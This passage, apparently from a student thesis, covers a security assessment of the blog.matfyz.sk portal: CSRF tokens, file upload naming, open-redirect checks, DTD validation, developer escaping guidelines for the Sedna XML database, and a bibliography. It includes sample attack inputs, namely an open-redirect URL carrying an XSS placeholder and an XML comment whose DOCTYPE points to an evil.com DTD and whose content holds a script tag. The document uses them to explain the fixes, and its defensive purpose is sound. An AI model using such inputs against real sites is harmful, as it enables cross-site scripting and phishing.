        // if it does not match or is not present, stop script and
            display warning
        if ($_POST && isset($_POST["csrf_token"]) && $_POST["
            csrf_token"] != $_SESSION["csrf_token"])
        {
            echo 'Warning! Possible CSRF attack.';
            echo 'This POST request did not come from our portal.';
            exit();
        }
    }
    return true;
  }
/* ... */
?>
```

This solution has two minor disadvantages. At first, it will stop every POST request from other sites because they do not know the token. If we indeed expected POST from the outside, we would have to deploy another solution. It does not have much granularity – it protects either all or none forms.

The second disadvantage is that it does not cover GET requests at all. There are four reasons for this situation:

- Data manipulation should be done with POST and GET should be used only for navigation[Jac04]. We fully respect this requirement on the portal. Consequently, there is no need for securing GET requests.
- The next reason is the problem with implementation. A GET request, unlike POST, does not have to be initiated through a form. In fact, every link is a GET request. It would be unbearable to add token to every link even if we planned it from the beginning.
- Secrecy of the token is the third reason. If we embedded it into an url, it could be easily leaked by sending a link to a friend.
- The last reason is aesthetics. Token has to be part of the request. In GETs case, it would mean that every URL has to include this token. It just would not look good.

5.4 Other vulnerabilities

This section lists all other security holes we found and patches we contributed to the portal.

5.4.1 File upload

We provide storage space for user's files related to his or her blog. Such file is uploaded through a simple form with an option to choose its name. The name was not validated at all, creating another security hole. An evil user could replace any file on server.

Since we have decided not to force some kind of random filenames and make possible to replace already uploaded files, a filename is now enforced to consist only of letters, numbers, dashes, underscores and dots. Invalid names are rejected and as a result the file is not saved.

5.4.2 Open redirects

When a site provides a service for an arbitrary redirect to a supplied url, it is called open redirect. It does not matter whether it is intended or not. It does not damage our portal directly, but it could be used for hiding XSS attack on other sites. Use is very simple:

`http://tbc.blog.matfyz.sk/?type=vote&postID=p12372`
`&value=1&url=http://vulnerable.site.com/?q=xss_payload`

Attacker abuses our good name hoping it will trick a victim into clicking on his link.

Within our portal all redirects are implemented using a distinguished function `redirect()`. We altered this function to perform a check whether target destination is valid. So far, valid destinations are our blog and our wiki what can be observed in the next listing on line 23. We accept both relative and absolute urls, distinction between them was based on RFC1738[BLMM94].

```
1
2 /**
3  * Redirects to the target $url if a destination is within trusted sites ,
4  * or $outer == true.
5  *
6  * @param string $url Destination .
```

```
 * @param array $vars Array of parameters for GET.
 * @param boolean $outer If set to true, destination must be trusted.
 */
function redirect($url, $vars=false, $outer=false)
{
  if (is_array($vars))
  {
    $urlVars = Array();
    foreach ($vars as $key=>$value)
    {
      $urlVars[] = urlencode($key).'='.urlencode($value);
    }
    $url .= "?".implode("&",$urlVars);
  }

  // if we do not want to make redirect away from our site, we if supplied url really lands within our page
  if (!$outer && !preg_match('@^(https?:)?//([^\./]*\.)?(?:'.preg_quote(BASE, '@').'|wiki\.matfyz\.sk)(/.*)?$|^(?!([a-zA-Z0-9\+\-\.]+?:|//)).*$@', $url))
  {
    if (DEBUG) throw new Exception('Redirection outside our portal is restricted in favour of security! (target="'.htmlspecialchars($url, ENT_QUOTES, 'utf-8').'")');
    $url = 'http://'.BASE;
  }
  // we do not actually redirect in DEBUG mode, which is set on our deveplopment site
  if (DEBUG) die('forced redirect to: <a href="'.htmlspecialchars($url, ENT_QUOTES, 'utf-8').'">'.htmlspecialchars($url, ENT_QUOTES, 'utf-8').'</a>');
  session_write_close();
  header("Cache-Control: no-cache, must-revalidate");
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Location: {$url}");
  // Some bots do not process header()
  $url = '<meta http-equiv="refresh" content="5;url='.
     htmlspecialchars($url, ENT_QUOTES, 'utf-8').'" />' . "\n" .
     $url;
  die($url);
}
```

Usage is simple. Calling this function with it's default arguments is the restrictive case. Following line can be used for a redirection within our portal even if we do not trust supplied url:

`redirect($url);`

Navigation si stopped if `$url` is located outside our site. If we need external redirect we must set the third paramter to "true":

`redirect("http://www.google.sk", false, true);`

But do not do it if the target is supplied by user. It would render this protection obsolete.

And the second parameter is used when we want to specify some GET paramaters:

`redirect("http://www.google.sk/search", array('q'=> 'needle'), true );`

5.4.3 Services for course members

Course members are provided with services for adding their posts and comments. These entries must be well-formed XML conforming to our DTD. The problem is that DTD's location is written in the submitted XML. Until now, it was being checked for presence by this regular expression: `/<!DOCTYPE (.*)["|']comment .dtd(.*)>/U` This was not enough. An attacker could submit a document with this kind of doctype: `<!DOCTYPE comment SYSTEM "http://evil.com/' comment.dtd">` what would bypass our filter. He could even comment out our "required" DOCTYPE definition and insert arbitrary one.

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE comment SYSTEM "http://evil.com/my.dtd">
<!--<!DOCTYPE comment SYSTEM "comment.dtd">-->
<comment lang="en" ref="p1">
  <title><marquee>look this way -&gt;</marquee></title>
  <content><script>alert('watch this!');</script></content>
```

```
</comment>
```

We removed this flawed check and introduced solution based on PHP native DOM parsing class `DOMDocument`. Source string loaded into `DOMDocument` object provides us with `DOMDocumentType` object which contains information about DOCTYPE. And one of its attributes contains DTD's location which can be reliably verified:

```
 $dom->loadXML($comment);
 if (!$dom->doctype || $dom->doctype->systemId != 'comment.dtd')
     die("Invalid DTD");
```

Another problem with services was that they could be used by any logged user. Their protection from non-members was solely based on users unawareness of their existence. This was not the desired behaviour, therefore we added role checking and current situation is as intended.

5.4.4 Database password

Another great danger for our portal was default database user with blank username and password. This was changed and does not longer pose a threat.

Chapter 6

Guidelines

Security is not a state, but a continuous process. We can claim that our portal is secured now, but it may not be true tomorrow, if our codebase is extended by an unaware developer.

We have written following guidelines to ensure further states will be secured as well. Every developer of our portal must read them and stick to them. As a result, our future security will be greatly improved in comparison to the original unpatched code.

The first part concentrates on transparent manipulation with Sedna. The second part is a compilation of the most important rules one should have on his mind when writing a new code.

6.1 How to use Sedna

Since Sedna is a XML based database, it has some specific traits when it comes to inserting and retrieving data.

6.1.1 Input

Never put any raw input into any query. Even if this input does not come from an external user.

Several characters have special meaning in a XML document. These characters must be escaped with the use of predefined entities, otherwise our database would be in risk of being injected with malicious tags from the point of generated XHTML.

Besides XPath, XQuery uses curly braces as a special symbol to switch context from "everything is XML" and normal XQuery. It is our concern that this lexical scope cannot be arbitrary switched by accepting a user's input. These braces can be escaped by doubling them, so { becomes {{ and } is escaped as }}. This is correct way of changing an users name to "<{&}>":

```
update replace $i in collection("weblog")/user[@ID="u326"]/info/
    nick
with <nick>&lt;{{&amp;}}&gt;</nick>
```

It is important that braces are not escaped in XPath – for example following XQL query would return nothing even if there indeed exists user named "<{&}>".

```
let $i := collection("weblog")/user/info[nick="&lt;{{&amp;}}&gt;"]
return $i
```

This is the correct query, notice that braces are not doubled:

```
let $i := collection("weblog")/user/info[nick="&lt;{&amp;}&gt;"]
return $i
```

We could use a plain XPath in the previous example, but for an illustrative purpose we had chosen a more expressive construction.

We prepared a function designed for escaping for XQuery. It can be found in file `functions.php`:

```
function formatText($text, $escapeBraces = true) {
  if ($escapeBraces)
  {
    $text = str_replace("{", '{{', $text);
    $text = str_replace("}", '}}', $text);
  }
  return trim(htmlspecialchars($text, ENT_QUOTES, "utf-8"));
}
```

The second parameter should be set to false if a supplied string is part of XPath or we will not get desired results.

6.1.2 Output

Another important goal is to retrieve exactly the same data which we inserted. This can be quite tricky, especially for an unexperienced developer.

This subsection explains how to retrieve data for further processing in PHP, not output generation. If you use values obtained by the following way, do not print them directly into HTML. It can create XSS vulnerability. For output generation use XSL templates.

Result from XQL query has always encoded special characters with XML entities. The main reason is possible further use in (another) query.

Continuing with database from previous examples, these three queries ...

```
collection("weblog")/user[@ID="u326"]/info/nick/string()
collection("weblog")/user[@ID="u326"]/info/nick/text()
data(collection("weblog")/user[@ID="u326"]/info/nick)
```

... produce same output: "`&lt;&amp;&gt;`". This is not identical to the inserted data. It is noteworthy that quotes would be encoded only in attribute's value and apostrophe would not be encoded at all. But this behaviour does not break or endanger further advisories. It can be fixed in two ways.

- Decoding escaped characters.

  Function `htmlspecialchars_decode` converts special HTML entities back to characters. Using it on a returned string produces original inserted data. Although this approach works, we consider it as a hack and recommend the second solution.

- Using classes designed for working with XML.

  PHP contains two classes for this task – `SimpleXMLElement` and `DOMDocument`. The second one has more features, but we do not need them for simple access to attributes and text nodes.

  The preferred way to retrieve data from Sedna can be summarised in few steps:

  1. Get subject data as XML from Sedna using XQuery.
  2. Load retrieved data into `SimpleXMLElement`.

3. Use object's methods and attributes to obtain desired information. This process is shown in the next example. The desired data can be acquired using XPath or any other provided method.

```php
<?php
  /* ... */
  // obtain node containing users nick
  $xml_string = xmldb->result('collection("weblog")/user[
      @ID="u326"]/info/nick');
  // load this node into SimpleXMLElement
  $xml = new SimpleXMLElement($xml_string);
  // print text value of this node
  echo 'Your nickname is ', $xml;
  /* ... */
?>
```

It must be noted that `SimpleXMLElement`'s attributes are objects and not strings, so === operator[1] cannot be used to compare with strings without type casting.

```php
<?php
  /* ... */
  // obtain node containing information about user
  $xml_string = xmldb->result('collection("weblog")/user[
      @ID="u326"]/info');
  // load this result into SimpleXMLElement
  $xml = new SimpleXMLElement($xml_string);
  // print hers nickname
  echo $xml->nick;
  // produces "<{&}>"
  echo get_class($xml->nick);
  // produces "SimpleXMLElement"
  var_dump($xml->nick == '<{&}>');
  // produces "true"
  var_dump($xml->nick === '<{&}>');
  // produces " false "
```

[1]It is named "Identical" and is true if compared variables equals and are of the same type. For example `'0'==0` but `'0'!==0`.

```
  var_dump((string)$xml->nick === '<{&}>');
  // produces "true"
  /* ... */
?>
```

6.2 General rules

- Never trust any user input. Think as an attacker would and what kind of input could cause harm to our users/data. Do not forget that superglobal array `$_COOKIE` and even `$_SERVER` contains data provided by user.. As we already stated, `$_SERVER['HTTP_REFERER']` cannot be trusted. Another often forgotten example is `$_SERVER['HTTP_USER_AGENT']`.
- Use function `formatText` when constructing XQL queries. For SQL queries use `mysql_real_escape_string` or `PDO` object.
- Some services are only for specific type of users. Ensure that access control is implemented on the server side. Hiding a function from menu or another GUI alteration is not enough.
- Prevent open redirects with use of our `redirect` function.
- Do not display error and debugging messages. It could give a hint to a potential attacker. If you need messages for easier developing, display them only when `DEBUG` is set to "true". This constant is "false" on the live server.
- If you code some part of portal which will not use XSLT, do not forget to use HTML escaping for preventing XSS. If you are adding a new XSL template, do not forget to set the correct output method.

Chapter 7

Conclusion

Our goal was to make a security assessment of the `blog.matfyz.sk` portal. We completed this task in three steps.

- In the first part, we made a research on properties of the most common security vulnerabilities. We explained how they work and how to defend against them in general.
- The second part presents numerous holes of various categories found in our source code. Some of them were really frequent. Query injection was present in over 150 queries. Database with no password protection and arbitrary file rewrite were critical ones. Some flaws were not present due to lucky choice of used technologies. We successfully patched all of them.
- The last part introduces guidelines for further development. They help to avoid mistakes that lead to vulnerabilities. Every developer should read them before adding new code to our site.

Our work resolved current situation and its main advantage lies in safety measures for the future. But all of this is not enough to guarantee safety of our portal. Source code should be continuously reviewed and developers should be periodically examined whether they stick to the rules.

Bibliography

[BLMM94] Tim Berners-Lee, Larry Masinter, and Mark McCahill. *Uniform Resource Locators (URL)*. 1994.
http://www.ietf.org/rfc/rfc1738.txt.

[Cen09] Cenzic, Inc. *Web Application Security: The Truth About White Box Testing vs. Black Box Testing*. 2009.
http://www.cenzic.com/downloads/Whitebox_VS_Blackbox_WP.pdf.

[DWW] Arshan Dabirsiaghi, Dave Wichers, and Jeff Williams. *XSS (Cross Site Scripting) Prevention Cheat Sheet*. OWASP.
https://www.owasp.org/index.php/
XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
#XSS_Prevention_Rules.

[HK09] M. Homola and Z. Kubincová. *Practising web design essentials by iterative blog development within a community portal.* In International Conference in Computer Supported Education (CSEDU 2009), Lisbon, Portugal, 2009.

[Hos08] Zuzana Hosalová. *Hacker na Gašparovičov web napísal, čo mu "tlačí ujo Fico do hlavy"*. 2008.
http://volby.sme.sk/c/4344124/hacker-na-gasparovicov-web
-napisal-co-mu-tlaci-ujo-fico-do-hlavy.html.

[Jac04] Ian Jacobs. *URIs, Addressability, and the use of HTTP GET and POST*. 2004.
http://www.w3.org/2001/tag/doc/whenToUseGet.html.

[Lyo08] Robert Lyons. *Universal Turing Machine in XSLT*. 2008.
http://www.unidex.com/turing/utm.htm.

[Ols] Philip Olson. `mysqli::prepare`. The PHP Group. `http://php.net/manual/en/mysqli.prepare.php`.

[Shi06] Chris Shiflett. addslashes() *Versus* mysql_real_escape_string(). 2006. `http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string`.

[TAS08] TASR and sme.sk. *Premiér Fico začína blogovať. Hneď ho aj hackli*. 2008. `http://www.sme.sk/c/4872798/premier-fico-zacina-blogovat-hned-ho-aj-hackli.html`.

[vdSWW07] Andrew van der Stock, Jeff Williams, and Dave Wichers. *The ten most critical web application security vulnerabilities*. Technical report, OWASP, 2007. `http://www.owasp.org/index.php/Top_10_2007`.

[Vra09] Jakub Vrana. *Automatická obrana proti CSRF*. 2009. `http://php.vrana.cz/automaticka-obrana-proti-csrf.php`.